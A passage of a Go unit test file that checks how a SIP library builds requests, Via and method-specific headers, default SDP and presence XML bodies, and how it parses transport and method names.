branch parameter\")\n\t\t}\n\t\tif viaHeader.Params[\"rport\"] != \"\" {\n\t\t\tt.Fatal(\"got non-zero rport parameter\")\n\t\t}\n\t\tmaxForwardsHeader := req.MaxForwards().String()\n\t\tif maxForwardsHeader != expectedMaxForwardsHeader {\n\t\t\tt.Fatalf(\"got Max-Forwards header %s, want %s\", maxForwardsHeader, expectedMaxForwardsHeader)\n\t\t}\n\t\tfromHeader := req.From().String()\n\t\texpectedFromHeader := \"From: <sip:localhost>;tag=\"\n\t\tif strings.Contains(fromHeader, expectedFromHeader) == false {\n\t\t\tt.Fatalf(\"got From header %s, want %s\", fromHeader, expectedFromHeader)\n\t\t}\n\t\ttoHeader := req.To().String()\n\t\texpectedToHeader := \"To: <sip:localhost>\"\n\t\tif toHeader != expectedToHeader {\n\t\t\tt.Fatalf(\"got To header %s, want %s\", toHeader, expectedToHeader)\n\t\t}\n\t\tciHeader := req.CallID().String()\n\t\tif ciHeader == \"\" {\n\t\t\tt.Fatal(\"got zero Call-ID header\")\n\t\t}\n\t\tcseqHeader := req.CSeq().String()\n\t\tif cseqHeader != expectedCSeqHeader {\n\t\t\tt.Fatalf(\"got CSeq header %s, want %s\", cseqHeader, expectedCSeqHeader)\n\t\t}\n\t\tuserAgentHeader := req.GetHeader(\"user-agent\")\n\t\tif userAgentHeader == nil {\n\t\t\tt.Fatal(\"got 'nil' User-Agent header\")\n\t\t}\n\t\tif userAgentHeader.Value() != expectedUserAgent {\n\t\t\tt.Fatalf(\"got User-Agent header %s, want %s\", userAgentHeader.Value(), expectedUserAgent)\n\t\t}\n\t\tacceptHeader := req.GetHeader(\"accept\")\n\t\tif acceptHeader == nil {\n\t\t\tt.Fatal(\"got 'nil' Accept header\")\n\t\t}\n\t\tif acceptHeader.Value() != expectedAccept {\n\t\t\tt.Fatalf(\"got Accept header %s, want %s\", acceptHeader.Value(), expectedAccept)\n\t\t}\n\t\tif req.Contact() != nil {\n\t\t\tt.Fatal(\"got non-nil Contact header\")\n\t\t}\n\t\tif req.ContentType() != nil {\n\t\t\tt.Fatal(\"got non-nil Content-Type header\")\n\t\t}\n\t\tif req.ContentLength() == nil {\n\t\t\tt.Fatal(\"got nil Content-Length header\")\n\t\t}\n\t\tcontentLenValue := req.ContentLength().Value()\n\t\tif contentLenValue != \"0\" {\n\t\t\tt.Fatalf(\"got Content-Length header %s, want 0\", contentLenValue)\n\t\t}\n\t\tif req.Body() != nil {\n\t\t\tt.Fatal(\"got non-nil body\")\n\t\t}\n\t})\n\tt.Run(\"returns the request with custom options\", func(t *testing.T) {\n\t\topts := NewSipRequestOpts{\n\t\t\tPort:      5061,\n\t\t\tLocalHost: \"192.168.1.1\",\n\t\t\tLocalPort: 5065,\n\t\t\tToUser:    \"dembele\",\n\t\t\tUser:      \"fabian\",\n\t\t\tPassword:  \"pass-0\",\n\t\t\tTransport: TCP,\n\t\t}\n\t\treq, ok := NewSipRequest(sip.OPTIONS, host, &opts)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\tif req == nil {\n\t\t\tt.Fatal(\"got 'nil' request\")\n\t\t}\n\t\tif req.Method != expectedMethod {\n\t\t\tt.Fatalf(\"got method %s, want %s\", req.Method, expectedMethod)\n\t\t}\n\t\tif req.Recipient.Host != host {\n\t\t\tt.Fatalf(\"got recipient host %s, want %s\", req.Recipient.Host, host)\n\t\t}\n\t\tif req.Recipient.Port != opts.Port {\n\t\t\tt.Fatalf(\"got recipient port %d, want %d\", req.Recipient.Port, opts.Port)\n\t\t}\n\t\ttransport := req.Transport()\n\t\tif transport != TCP.String() {\n\t\t\tt.Fatalf(\"got recipient transport %s, wants %s\", transport, TCP.String())\n\t\t}\n\t\tstartLine := req.StartLine()\n\t\texpectedStartLine := \"OPTIONS sip:dembele@localhost:5061 SIP/2.0\"\n\t\tif startLine != expectedStartLine {\n\t\t\tt.Fatalf(\"got start line %s, want %s\", startLine, expectedStartLine)\n\t\t}\n\t\tif len(req.Headers()) != 9 {\n\t\t\tt.Fatalf(\"got %d headers, want 9\", len(req.Headers()))\n\t\t}\n\t\tviaHeader := req.Via()\n\t\tif viaHeader == nil {\n\t\t\tt.Fatal(\"got 'nil' Via header\")\n\t\t}\n\t\tif viaHeader.ProtocolName != expectedProtocolName {\n\t\t\tt.Fatalf(\"got protocol name %s, want %s\", viaHeader.ProtocolName, expectedProtocolName)\n\t\t}\n\t\tif viaHeader.ProtocolVersion != expectedProtocolVersion {\n\t\t\tt.Fatalf(\"got protocol version %s, want %s\", viaHeader.ProtocolVersion, expectedProtocolVersion)\n\t\t}\n\t\texpectedTransport := \"TCP\"\n\t\tif viaHeader.Transport != expectedTransport {\n\t\t\tt.Fatalf(\"got transport %s, want %s\", viaHeader.Transport, expectedTransport)\n\t\t}\n\t\tif viaHeader.Host != opts.LocalHost {\n\t\t\tt.Fatalf(\"got host %s, want %s\", viaHeader.Host, opts.LocalHost)\n\t\t}\n\t\tif viaHeader.Port != opts.LocalPort {\n\t\t\tt.Fatalf(\"got port %d, want %d\", viaHeader.Port, opts.LocalPort)\n\t\t}\n\t\tif len(viaHeader.Params) != 2 {\n\t\t\tt.Fatalf(\"got %d parameters, want 2\", len(viaHeader.Params))\n\t\t}\n\t\tif viaHeader.Params[\"branch\"] == \"\" {\n\t\t\tt.Fatal(\"got zero branch parameter\")\n\t\t}\n\t\tif viaHeader.Params[\"rport\"] != \"\" {\n\t\t\tt.Fatal(\"got non-zero rport parameter\")\n\t\t}\n\t\tmaxForwardsHeader := req.MaxForwards().String()\n\t\tif maxForwardsHeader != expectedMaxForwardsHeader {\n\t\t\tt.Fatalf(\"got Max-Forwards header %s, want %s\", maxForwardsHeader, expectedMaxForwardsHeader)\n\t\t}\n\t\tfromHeader := req.From().String()\n\t\texpectedFromHeader := \"From: <sip:fabian:pass-0@192.168.1.1:5065>;tag=\"\n\t\tif !strings.Contains(fromHeader, expectedFromHeader) {\n\t\t\tt.Fatalf(\"got From header %s, want %s\", fromHeader, expectedFromHeader)\n\t\t}\n\t\ttoHeader := req.To().String()\n\t\texpectedToHeader := \"To: <sip:dembele@localhost:5061>\"\n\t\tif toHeader != expectedToHeader {\n\t\t\tt.Fatalf(\"got To header %s, want %s\", toHeader, expectedToHeader)\n\t\t}\n\t\tciHeader := req.CallID().String()\n\t\tif ciHeader == \"\" {\n\t\t\tt.Fatal(\"got zero Call-ID header\")\n\t\t}\n\t\tcseqHeader := req.CSeq().String()\n\t\tif cseqHeader != expectedCSeqHeader {\n\t\t\tt.Fatalf(\"got CSeq header %s, want %s\", cseqHeader, expectedCSeqHeader)\n\t\t}\n\t\tuserAgentHeader := req.GetHeader(\"user-agent\")\n\t\tif userAgentHeader == nil {\n\t\t\tt.Fatal(\"got 'nil' User-Agent header\")\n\t\t}\n\t\tif userAgentHeader.Value() != expectedUserAgent {\n\t\t\tt.Fatalf(\"got User-Agent header %s, want %s\", userAgentHeader.Value(), expectedUserAgent)\n\t\t}\n\t\tacceptHeader := req.GetHeader(\"accept\")\n\t\tif acceptHeader == nil {\n\t\t\tt.Fatal(\"got 'nil' Accept header\")\n\t\t}\n\t\tif acceptHeader.Value() != expectedAccept {\n\t\t\tt.Fatalf(\"got Accept header %s, want %s\", acceptHeader.Value(), expectedAccept)\n\t\t}\n\t\tif req.Contact() != nil {\n\t\t\tt.Fatal(\"got non-nil Contact header\")\n\t\t}\n\t\tif req.ContentType() != nil {\n\t\t\tt.Fatal(\"got non-nil Content-Type header\")\n\t\t}\n\t\tif req.ContentLength() == nil {\n\t\t\tt.Fatal(\"got nil Content-Length header\")\n\t\t}\n\t\tcontentLenValue := req.ContentLength().Value()\n\t\tif contentLenValue != \"0\" {\n\t\t\tt.Fatalf(\"got Content-Length header %s, want 0\", contentLenValue)\n\t\t}\n\t\tif req.Body() != nil {\n\t\t\tt.Fatal(\"got non-nil body\")\n\t\t}\n\t})\n\tt.Run(\"adds contact header for methods that require it\", func(t *testing.T) {\n\t\treq, ok := NewSipRequest(sip.REGISTER, \"localhost\", nil)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\tif req == nil {\n\t\t\tt.Fatal(\"got 'nil' request\")\n\t\t}\n\t\tif req.Contact() == nil {\n\t\t\tt.Fatal(\"got 'nil' Contact header\")\n\t\t}\n\t\texpectedContact := \"<sip:localhost>;transport=UDP\"\n\t\tif req.Contact().Value() != expectedContact {\n\t\t\tt.Fatalf(\"got Contact header %s, want %s\", req.Contact().Value(), expectedContact)\n\t\t}\n\t})\n\tt.Run(\"adds content type and body for methods that require them\", func(t *testing.T) {\n\t\treq, ok := NewSipRequest(sip.INVITE, \"localhost\", nil)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\tif req == nil {\n\t\t\tt.Fatal(\"got 'nil' request\")\n\t\t}\n\t\tif req.ContentType() == nil {\n\t\t\tt.Fatal(\"got 'nil' Content-Type header\")\n\t\t}\n\t\texpectedContentType := \"application/sdp\"\n\t\tif req.ContentType().Value() != expectedContentType {\n\t\t\tt.Fatalf(\"got Content-Type header %s, want %s\", req.ContentType().Value(), expectedContentType)\n\t\t}\n\t\tif req.Body() == nil {\n\t\t\tt.Fatal(\"got 'nil' body\")\n\t\t}\n\t\texpectedBody := \"o=caller\"\n\t\tif !strings.Contains(string(req.Body()), expectedBody) {\n\t\t\tt.Fatalf(\"got body %s, want %s\", req.Body(), expectedBody)\n\t\t}\n\t})\n}\n\n//gocognit:ignore\nfunc TestNewViaHeader(t *testing.T) {\n\tt.Run(\"returns the header with default options\", func(t *testing.T) {\n\t\theader, ok := NewViaHeader(nil)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' Via header\")\n\t\t}\n\t\texpectedProtocolName := \"SIP\"\n\t\tif header.ProtocolName != expectedProtocolName {\n\t\t\tt.Fatalf(\"got protocol name %s, want %s\", header.ProtocolName, expectedProtocolName)\n\t\t}\n\t\texpectedProtocolVersion := \"2.0\"\n\t\tif header.ProtocolVersion != expectedProtocolVersion {\n\t\t\tt.Fatalf(\"got protocol version %s, want %s\", header.ProtocolVersion, expectedProtocolVersion)\n\t\t}\n\t\texpectedTransport := \"UDP\"\n\t\tif header.Transport != expectedTransport {\n\t\t\tt.Fatalf(\"got transport %s, want %s\", header.Transport, expectedTransport)\n\t\t}\n\t\tif header.Host != host {\n\t\t\tt.Fatalf(\"got host %s, want %s\", header.Host, host)\n\t\t}\n\t\texpectedPort := 0\n\t\tif header.Port != expectedPort {\n\t\t\tt.Fatalf(\"got port %d, want %d\", header.Port, expectedPort)\n\t\t}\n\t\tif len(header.Params) != 2 {\n\t\t\tt.Fatalf(\"got %d parameters, want 2\", len(header.Params))\n\t\t}\n\t\tif header.Params[\"branch\"] == \"\" {\n\t\t\tt.Fatal(\"got zero branch parameter\")\n\t\t}\n\t\tif header.Params[\"rport\"] != \"\" {\n\t\t\tt.Fatal(\"got non-zero rport parameter\")\n\t\t}\n\t})\n\tt.Run(\"returns the header with custom options\", func(t *testing.T) {\n\t\topts := NewViaOpts{\n\t\t\tProtocolName:    \"PNAME\",\n\t\t\tProtocolVersion: \"1.0\",\n\t\t\tTransport:       \"TCP\",\n\t\t\tHost:            \"localhost\",\n\t\t\tPort:            5061,\n\t\t}\n\t\theader, ok := NewViaHeader(&opts)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' header\")\n\t\t}\n\t\tif header.ProtocolName != opts.ProtocolName {\n\t\t\tt.Fatalf(\"got protocol name %s, want %s\", header.ProtocolName, opts.ProtocolName)\n\t\t}\n\t\tif header.ProtocolVersion != opts.ProtocolVersion {\n\t\t\tt.Fatalf(\"got protocol version %s, want %s\", header.ProtocolVersion, opts.ProtocolVersion)\n\t\t}\n\t\tif header.Transport != \"TCP\" {\n\t\t\tt.Fatalf(\"got transport %s, want %s\", header.Transport, \"TCP\")\n\t\t}\n\t\tif header.Host != opts.Host {\n\t\t\tt.Fatalf(\"got host %s, want %s\", header.Host, opts.Host)\n\t\t}\n\t\tif header.Port != opts.Port {\n\t\t\tt.Fatalf(\"got port %d, want %d\", header.Port, opts.Port)\n\t\t}\n\t\tif len(header.Params) != 2 {\n\t\t\tt.Fatalf(\"got %d parameters, want 2\", len(header.Params))\n\t\t}\n\t\tif header.Params[\"branch\"] == \"\" {\n\t\t\tt.Fatal(\"got zero branch parameter\")\n\t\t}\n\t\tif header.Params[\"rport\"] != \"\" {\n\t\t\tt.Fatal(\"got non-zero rport parameter\")\n\t\t}\n\t})\n}\n\nfunc TestIsContactRequired(t *testing.T) {\n\ttests := []struct {\n\t\tname     string\n\t\tmethod   sip.RequestMethod\n\t\texpected bool\n\t}{\n\t\t{sip.INVITE.String(), sip.INVITE, true},\n\t\t{sip.ACK.String(), sip.ACK, false},\n\t\t{sip.CANCEL.String(), sip.CANCEL, false},\n\t\t{sip.BYE.String(), sip.BYE, false},\n\t\t{sip.REGISTER.String(), sip.REGISTER, true},\n\t\t{sip.OPTIONS.String(), sip.OPTIONS, false},\n\t\t{sip.SUBSCRIBE.String(), sip.SUBSCRIBE, true},\n\t\t{sip.NOTIFY.String(), sip.NOTIFY, true},\n\t\t{sip.REFER.String(), sip.REFER, true},\n\t\t{sip.INFO.String(), sip.INFO, false},\n\t\t{sip.MESSAGE.String(), sip.MESSAGE, false},\n\t\t{sip.PRACK.String(), sip.PRACK, false},\n\t\t{sip.UPDATE.String(), sip.UPDATE, false},\n\t\t{sip.PUBLISH.String(), sip.PUBLISH, true},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tif got := IsContactRequired(tt.method); got != tt.expected {\n\t\t\t\tt.Fatalf(\"got %v, want %v\", got, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestAddMethodHeaders(t *testing.T) {\n\tt.Run(\"returns ok to false if request is nil\", func(t *testing.T) {\n\t\tok := AddMethodHeaders(nil, sip.OPTIONS)\n\t\tif ok {\n\t\t\tt.Fatal(\"got true ok\")\n\t\t}\n\t})\n\tt.Run(\"OPTIONS\", func(t *testing.T) {\n\t\treq := sip.Request{}\n\t\tok := AddMethodHeaders(&req, sip.OPTIONS)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\theaders := req.Headers()\n\t\tif len(headers) != 1 {\n\t\t\tt.Fatalf(\"got %d headers, want 1\", len(headers))\n\t\t}\n\t\theader := req.GetHeader(\"accept\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' accept header\")\n\t\t}\n\t\tvalue := header.Value()\n\t\tif value != \"application/sdp\" {\n\t\t\tt.Fatalf(\"got accept header value %v, want application/sdp\", value)\n\t\t}\n\t})\n\tt.Run(\"REGISTER\", func(t *testing.T) {\n\t\treq := sip.Request{}\n\t\tok := AddMethodHeaders(&req, sip.REGISTER)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\theaders := req.Headers()\n\t\tif len(headers) != 1 {\n\t\t\tt.Fatalf(\"got %d headers, want 1\", len(headers))\n\t\t}\n\t\theader := req.GetHeader(\"expires\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' expires header\")\n\t\t}\n\t\tvalue := header.Value()\n\t\tif value != \"3600\" {\n\t\t\tt.Fatalf(\"got expires header value %v, want 3600\", value)\n\t\t}\n\t})\n\tt.Run(\"PRACK\", func(t *testing.T) {\n\t\treq := sip.Request{}\n\t\tok := AddMethodHeaders(&req, sip.PRACK)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\theaders := req.Headers()\n\t\tif len(headers) != 1 {\n\t\t\tt.Fatalf(\"got %d headers, want 1\", len(headers))\n\t\t}\n\t\theader := req.GetHeader(\"RAck\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' rack header\")\n\t\t}\n\t\tvalue := header.Value()\n\t\tif value != \"1 314159 INVITE\" {\n\t\t\tt.Fatalf(\"got rack header value %v, want 1 314159 INVITE\", value)\n\t\t}\n\t})\n\tt.Run(\"SUBSCRIBE\", func(t *testing.T) {\n\t\treq := sip.Request{}\n\t\tok := AddMethodHeaders(&req, sip.SUBSCRIBE)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\theaders := req.Headers()\n\t\tif len(headers) != 3 {\n\t\t\tt.Fatalf(\"got %d headers, want 3\", len(headers))\n\t\t}\n\t\theader := req.GetHeader(\"event\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' event header\")\n\t\t}\n\t\tvalue := header.Value()\n\t\tif value != expectedPresenceHeaderValue {\n\t\t\tt.Fatalf(\"got event header value %v, want presence\", value)\n\t\t}\n\t\theader = req.GetHeader(\"accept\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' accept header\")\n\t\t}\n\t\tvalue = header.Value()\n\t\tif value != \"application/pidf+xml\" {\n\t\t\tt.Fatalf(\"got accept header value %v, want application/pidf+xml\", value)\n\t\t}\n\t\theader = req.GetHeader(\"supported\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' supported header\")\n\t\t}\n\t\tvalue = header.Value()\n\t\tif value != \"eventlist\" {\n\t\t\tt.Fatalf(\"got supported header value %v, want eventlist\", value)\n\t\t}\n\t})\n\tt.Run(\"NOTIFY\", func(t *testing.T) {\n\t\treq := sip.Request{}\n\t\tok := AddMethodHeaders(&req, sip.NOTIFY)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\theaders := req.Headers()\n\t\tif len(headers) != 2 {\n\t\t\tt.Fatalf(\"got %d headers, want 2\", len(headers))\n\t\t}\n\t\theader := req.GetHeader(\"event\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' event header\")\n\t\t}\n\t\tvalue := header.Value()\n\t\tif value != expectedPresenceHeaderValue {\n\t\t\tt.Fatalf(\"got event header value %v, want presence\", value)\n\t\t}\n\t\theader = req.GetHeader(\"subscription-state\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' subscription-state header\")\n\t\t}\n\t\tvalue = header.Value()\n\t\tif value != \"active;expires=3500\" {\n\t\t\tt.Fatalf(\"got subscription-state header value %v, want active;expires=3500\", value)\n\t\t}\n\t})\n\tt.Run(\"REFER returns error if call id is not set\", func(t *testing.T) {\n\t\treq := sip.Request{}\n\t\tok := AddMethodHeaders(&req, sip.REFER)\n\t\tif ok {\n\t\t\tt.Fatal(\"got true ok\")\n\t\t}\n\t\theaders := req.Headers()\n\t\tif len(headers) != 0 {\n\t\t\tt.Fatalf(\"got %d headers, want 0\", len(headers))\n\t\t}\n\t})\n\tt.Run(\"REFER\", func(t *testing.T) {\n\t\treq := sip.Request{\n\t\t\tRecipient: sip.Uri{\n\t\t\t\tHost: \"127.0.0.1\",\n\t\t\t},\n\t\t}\n\t\tciHeader := sip.CallIDHeader(\"123456\")\n\t\treq.AppendHeader(&ciHeader)\n\t\tok := AddMethodHeaders(&req, sip.REFER)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\theaders := req.Headers()\n\t\tif len(headers) != 4 {\n\t\t\tt.Fatalf(\"got %d headers, want 3\", len(headers))\n\t\t}\n\t\theader := req.GetHeader(\"refer-to\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' refer-to header\")\n\t\t}\n\t\tvalue := header.Value()\n\t\texpectedValue := \"<sip:carol@127.0.0.1;Replaces=123456%3Bto-tag%3D54321%3Bfrom-tag%3D12345>\"\n\t\tif value != expectedValue {\n\t\t\tt.Fatalf(\"got refer-to header value %s, want %s\", value, expectedValue)\n\t\t}\n\t\theader = req.GetHeader(\"refer-sub\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' refer-sub header\")\n\t\t}\n\t\tvalue = header.Value()\n\t\tif value != \"true\" {\n\t\t\tt.Fatalf(\"got refer-sub header value %v, want true\", value)\n\t\t}\n\t\theader = req.GetHeader(\"supported\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' supported header\")\n\t\t}\n\t\tvalue = header.Value()\n\t\tif value != \"replaces\" {\n\t\t\tt.Fatalf(\"got supported header value %v, want replaces\", value)\n\t\t}\n\t})\n\tt.Run(\"PUBLISH\", func(t *testing.T) {\n\t\treq := sip.Request{}\n\t\tok := AddMethodHeaders(&req, sip.PUBLISH)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\theaders := req.Headers()\n\t\tif len(headers) != 2 {\n\t\t\tt.Fatalf(\"got %d headers, want 2\", len(headers))\n\t\t}\n\t\theader := req.GetHeader(\"event\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' event header\")\n\t\t}\n\t\tvalue := header.Value()\n\t\tif value != expectedPresenceHeaderValue {\n\t\t\tt.Fatalf(\"got event header value %v, want presence\", value)\n\t\t}\n\t\theader = req.GetHeader(\"expires\")\n\t\tif header == nil {\n\t\t\tt.Fatal(\"got 'nil' expires header\")\n\t\t}\n\t\tvalue = header.Value()\n\t\tif value != \"3600\" {\n\t\t\tt.Fatalf(\"got expires header value %v, want 3600\", value)\n\t\t}\n\t})\n\tt.Run(\"MESSAGE\", func(t *testing.T) {\n\t\treq := sip.Request{}\n\t\tok := AddMethodHeaders(&req, sip.MESSAGE)\n\t\tif !ok {\n\t\t\tt.Fatal(\"got false ok\")\n\t\t}\n\t\theaders := req.Headers()\n\t\tif len(headers) != 0 {\n\t\t\tt.Fatalf(\"got %d headers, want 0\", len(headers))\n\t\t}\n\t})\n}\n\nfunc TestNewRequestBody(t *testing.T) {\n\ttests := []struct {\n\t\tname                string\n\t\tmethod              sip.RequestMethod\n\t\texpectedBodyInclude string\n\t\texpectedHeader      string\n\t}{\n\t\t{\n\t\t\t\"INVITE\",\n\t\t\tsip.INVITE,\n\t\t\t\"o=caller\",\n\t\t\t\"application/sdp\",\n\t\t},\n\t\t{\n\t\t\t\"MESSAGE\",\n\t\t\tsip.MESSAGE,\n\t\t\t\"Hello, this is a test message\",\n\t\t\t\"text/plain\",\n\t\t},\n\t\t{\n\t\t\t\"INFO\",\n\t\t\tsip.INFO,\n\t\t\t\"Signal=1Signal=1\\nDuration=10\",\n\t\t\t\"application/dtmf-relay\",\n\t\t},\n\t\t{\"ACK\", sip.ACK, \"\", \"\"},\n\t\t{\"CANCEL\", sip.CANCEL, \"\", \"\"},\n\t\t{\"BYE\", sip.BYE, \"\", \"\"},\n\t\t{\"REGISTER\", sip.REGISTER, \"\", \"\"},\n\t\t{\"OPTIONS\", sip.OPTIONS, \"\", \"\"},\n\t\t{\"SUBSCRIBE\", sip.SUBSCRIBE, \"\", \"\"},\n\t\t{\n\t\t\t\"NOTIFY\",\n\t\t\tsip.NOTIFY,\n\t\t\t\"\",\n\t\t\t\"application/pidf+xml\",\n\t\t},\n\t\t{\"REFER\", sip.REFER, \"\", \"\"},\n\t\t{\n\t\t\t\"PUBLISH\",\n\t\t\tsip.PUBLISH,\n\t\t\t`presence xmlns=\"urn:ietf:params:xml:ns:pidf`,\n\t\t\t\"application/pidf+xml\",\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tbody, header := NewRequestBody(tt.method)\n\t\t\tif !strings.Contains(body, tt.expectedBodyInclude) {\n\t\t\t\tt.Fatalf(\"got body %v, want %v\", body, tt.expectedBodyInclude)\n\t\t\t}\n\t\t\tif header != tt.expectedHeader {\n\t\t\t\tt.Fatalf(\"got header %v, want %v\", header, tt.expectedHeader)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNewDefaultInviteBody(t *testing.T) {\n\tt.Run(\"returns a valid body\", func(t *testing.T) {\n\t\tbody := NewDefaultInviteBody(\"\", \"\", \"\")\n\t\tif body == \"\" {\n\t\t\tt.Fatal(\"got empty\")\n\t\t}\n\t\tif !strings.Contains(body, \"o=caller\") {\n\t\t\tt.Fatalf(\"got %s, want o=caller\", body)\n\t\t}\n\t\tif !strings.Contains(body, \"s=-\") {\n\t\t\tt.Fatalf(\"got %s, want s=-\", body)\n\t\t}\n\t\tif !strings.Contains(body, \"c=IN IP4\") {\n\t\t\tt.Fatalf(\"got %s, want c=IN IP4\", body)\n\t\t}\n\t\texpected := `t=0 0\nm=audio 5004 RTP/AVP 0\na=rtpmap:0 PCMU/8000`\n\t\tif !strings.Contains(body, expected) {\n\t\t\tt.Fatalf(\"got %s, want %s\", body, expected)\n\t\t}\n\t})\n\tt.Run(\"returns a valid body with custom parameters\", func(t *testing.T) {\n\t\tbody := NewDefaultInviteBody(\"host-0\", \"sess-0\", \"sessver-0\")\n\t\texpected := `v=0\no=caller sess-0 sessver-0 IN IP4 host-0\ns=-\nc=IN IP4 host-0\nt=0 0\nm=audio 5004 RTP/AVP 0\na=rtpmap:0 PCMU/8000`\n\t\tif body != expected {\n\t\t\tt.Fatalf(\"got %s, want %s\", body, expected)\n\t\t}\n\t})\n}\n\nfunc TestNewDefaultPublishBody(t *testing.T) {\n\tt.Run(\"returns a valid body\", func(t *testing.T) {\n\t\tbody := NewDefaultPublishBody(\"\", \"\", \"\")\n\t\tif body == \"\" {\n\t\t\tt.Fatal(\"got empty\")\n\t\t}\n\t\texpected := `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<presence xmlns=\"urn:ietf:params:xml:ns:pidf\"`\n\t\tif !strings.Contains(body, expected) {\n\t\t\tt.Fatalf(\"got %s, want %s\", body, expected)\n\t\t}\n\t\tif !strings.Contains(body, \"<tuple id=\") {\n\t\t\tt.Fatalf(\"got %s, want <tuple id=\", body)\n\t\t}\n\t\texpected = `<status>\n\t\t\t<basic>open</basic>\n\t\t</status>\n\t</tuple>\n</presence>`\n\t\tif !strings.Contains(body, expected) {\n\t\t\tt.Fatalf(\"got %s, want %s\", body, expected)\n\t\t}\n\t})\n\tt.Run(\"returns a valid body with custom parameters\", func(t *testing.T) {\n\t\tbody := NewDefaultPublishBody(\"id-0\", \"status-0\", \"entity-0\")\n\t\texpected := `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<presence xmlns=\"urn:ietf:params:xml:ns:pidf\"\n\t\t\t\t\tentity=\"entity-0\">\n\t<tuple id=\"id-0\">\n\t\t<status>\n\t\t\t<basic>status-0</basic>\n\t\t</status>\n\t</tuple>\n</presence>`\n\t\tif body != expected {\n\t\t\tt.Fatalf(\"got %s, want %s\", body, expected)\n\t\t}\n\t})\n}\n\nfunc TestNewDefaultNotifyBody(t *testing.T) {\n\tt.Run(\"returns a valid body\", func(t *testing.T) {\n\t\tbody := NewDefaultNotifyBody(\"\", \"\", \"\", \"\")\n\t\tif body == \"\" {\n\t\t\tt.Fatal(\"got empty\")\n\t\t}\n\t\texpected := `<?xml version=\"1.0\"?>\n<presence xmlns=\"urn:ietf:params:xml:ns:pidf\">\n\t<tuple id=\"`\n\t\tif !strings.Contains(body, expected) {\n\t\t\tt.Fatalf(\"got %s, want %s\", body, expected)\n\t\t}\n\t\texpected = `<status>\n\t\t\t<basic>open</basic>\n\t\t</status>\n\t\t<contact>sip:bob@`\n\t\tif !strings.Contains(body, expected) {\n\t\t\tt.Fatalf(\"got %s, want %s\", body, expected)\n\t\t}\n\t\texpected = `</contact>\n\t\t<timestamp>`\n\t\tif !strings.Contains(body, expected) {\n\t\t\tt.Fatalf(\"got %s, want %s\", body, expected)\n\t\t}\n\t\texpected = `</timestamp>\n\t</tuple>\n</presence>`\n\t\tif !strings.Contains(body, expected) {\n\t\t\tt.Fatalf(\"got %s, want %s\", body, expected)\n\t\t}\n\t})\n}\n\nfunc TestParseTransport(t *testing.T) {\n\ttests := []struct {\n\t\tinput    string\n\t\texpected TransportType\n\t}{\n\t\t{\"UDP\", UDP},\n\t\t{\"udp\", UDP},\n\t\t{\"TCP\", TCP},\n\t\t{\"TLS\", TLS},\n\t\t{\"invalid\", UNKNOWN},\n\t\t{\"\", UNKNOWN},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.input, func(t *testing.T) {\n\t\t\tresult := ParseTransport(tt.input)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Fatalf(\"got %s, want %s\", result, tt.expected)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestParseMethod(t *testing.T) {\n\ttests := []struct {\n\t\tinput    string\n\t\texpected sip.RequestMethod\n\t}{\n\t\t{\"INVITE\", sip.INVITE},\n\t\t{\"invite\", sip.INVITE},\n\t\t{\"ACK\", sip.ACK},\n\t\t{\"BYE\", sip.BYE},\n\t\t{\"CANCEL\", sip.CANCEL},\n\t\t{\"REGISTER\", sip.REGISTER},\n\t\t{\"OPTIONS\", sip.OPTIONS},\n\t\t{\"SUBSCRIBE\", sip.SUBSCRIBE},\n\t\t{\"NOTIFY\", sip.NOTIFY},\n\t\t{\"REFER\", sip.REFER},\n\t\t{\"PUBLISH\", sip.PUBLISH},\n\t\t{\"MESSAGE\", sip.MESSAGE},\n\t\t{\"INFO\", sip.INFO},\n\t\t{\"PRACK\", sip.PRACK},\n\t\t{\"UPDATE\", sip.UPDATE},\n\t\t{\"invalid\", \"\"},\n\t\t{\"\", \"\"},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.input, func(t *testing.T) {\n\t\t\tresult := ParseMethod(tt.input)\n\t\t\tif result != tt.expected {\n\t\t\t\tt.Fatalf(\"got %s, want %s\", result, 